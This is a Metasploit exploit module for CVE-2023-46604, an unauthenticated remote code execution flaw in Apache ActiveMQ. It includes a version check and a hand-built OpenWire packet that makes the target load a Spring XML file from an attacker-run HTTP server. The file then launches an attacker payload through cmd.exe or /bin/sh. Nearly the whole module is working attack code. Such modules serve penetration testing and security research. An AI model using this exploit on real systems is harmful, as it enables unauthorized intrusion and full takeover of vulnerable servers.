##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Retry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache ActiveMQ Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache
          ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to
          5.16.6, and all versions before 5.15.16.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'X1r0z', # Original technical analysis & exploit
          'sfewer-r7', # MSF exploit & Rapid7 analysis
        ],
        'References' => [
          ['CVE', '2023-46604'],
          ['URL', 'https://github.com/X1r0z/ActiveMQ-RCE'],
          ['URL', 'https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/'],
          ['URL', 'https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis'],
          ['URL', 'https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt']
        ],
        'DisclosureDate' => '2023-10-27',
        'Privileged' => false,
        'Arch' => [ARCH_CMD],
        # The Msf::Exploit::Remote::HttpServer mixin will bring in Exploit::Remote::SocketServer, this will set the
        # Stance to passive, which is unexpected and results in the exploit running as a background job, as RunAsJob will
        # be set to true. To avoid this happening, we explicitly set the Stance to Aggressive.
        'Stance' => Stance::Aggressive,
        'Targets' => [
          [
            'Windows',
            {
              'Platform' => 'win'
            }
          ],
          [
            'Linux',
            {
              'Platform' => 'linux'
            }
          ],
          [
            'Unix',
            {
              'Platform' => 'unix'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          # By default ActiveMQ listens for OpenWire requests on TCP port 61616.
          'RPORT' => 61616,
          # The maximum time in seconds to wait for a session.
          'WfsDelay' => 30
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    connect

    len = sock.timed_read(4)&.unpack1('N')

    return CheckCode::Unknown('Invalid or unexpected response length') if len.nil? || len > 0x2000 # upper limit in case the service isn't ActiveMQ

    res = sock.timed_read(len)

    disconnect

    return CheckCode::Unknown('No response received from target') unless res

    _, magic = res.unpack('CZ*')

    return CheckCode::Unknown('Response length mismatch') unless res.length == len

    return CheckCode::Unknown('Target is not an ActiveMQ service') unless magic == 'ActiveMQ'

    return CheckCode::Detected('ActiveMQ detected but version could not be determined') unless res =~ /ProviderVersion...(\d+\.\d+\.\d+)/

    version = Rex::Version.new(::Regexp.last_match(1))

    ranges = [
      ['5.18.0', '5.18.2'],
      ['5.17.0', '5.17.5'],
      ['5.16.0', '5.16.6'],
      ['0.0.0', '5.15.15']
    ]

    ranges.each do |min, max|
      if version.between?(Rex::Version.new(min), Rex::Version.new(max))
        return Exploit::CheckCode::Appears("Apache ActiveMQ #{version}")
      end
    end

    Exploit::CheckCode::Safe("Apache ActiveMQ #{version}")
  rescue ::Timeout::Error
    CheckCode::Unknown('Could not determine vulnerability status')
  end

  def exploit
    # The payload is send in a CDATA section of an XML file. Therefore, the payload cannot contain a CDATA closing tag.
    if payload.encoded.include? ']]>'
      fail_with(Failure::BadConfig, 'The encoded payload data may not contain the CDATA closing tag ]]>')
    end

    start_service

    connect

    # The vulnerability allows us to instantiate an arbitrary class, with a single arbitrary string parameter. To
    # leverage this we can use ClassPathXmlApplicationContext, and pass a URL to an XML configuration file we
    # serve. This XML file allows us to create arbitrary classes, and call arbitrary methods. This is leveraged to
    # run an attacker supplied command line via java.lang.ProcessBuilder.start.
    clazz = 'org.springframework.context.support.ClassPathXmlApplicationContext'

    # 31 is the EXCEPTION_RESPONSE data type.
    data = [31].pack('C')
    # ResponseMarshaller.looseUnmarshal reads a 4 byte int for the command id.
    data << [0].pack('N')
    # and a 1 byte boolean for response required.
    data << [0].pack('C')
    # ResponseMarshaller.looseUnmarshal read a 4 byte int for the correlation ID.
    data << [0].pack('N')
    # BaseDataStreamMarshaller.looseUnmarsalThrowable wants a boolean true to continue to unmarshall.
    data << [1].pack('C')
    # BaseDataStreamMarshaller.looseUnmarshalString reads a byte boolean and if true, reads a UTF-8 string.
    data << [1].pack('C')
    # First 2 bytes are the length.
    data << [clazz.length].pack('n')
    # Then the string data. This is the class name to instantiate.
    data << clazz
    # Same again for the method string. This is the single string parameter used during class instantiation.
    data << [1].pack('C')
    data << [get_uri.length].pack('n')
    data << get_uri

    sock.puts([data.length].pack('N') + data)

    retry_until_truthy(timeout: datastore['WfsDelay']) do
      !handler_enabled? || session_created?
    end

    handler
  ensure
    cleanup
  end

  def on_request_uri(cli, request)
    if request.uri != get_resource
      super
    end

    case target['Platform']
    when 'win'
      shell = 'cmd.exe'
      flag = '/c'
    when 'linux', 'unix'
      shell = '/bin/sh'
      flag = '-c'
    end

    xml = %(<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
  <constructor-arg>
    <list>
      <value>#{shell}</value>
      <value>#{flag}</value>
      <value><![CDATA[#{payload.encoded}]]></value>
    </list>
  </constructor-arg>
</bean>
</beans>)

    send_response(cli, xml, {
      'Content-Type' => 'application/xml',
      'Connection' => 'close',
      'Pragma' => 'no-cache'
    })

    print_status('Sent ClassPathXmlApplicationContext configuration file.')
  end

end
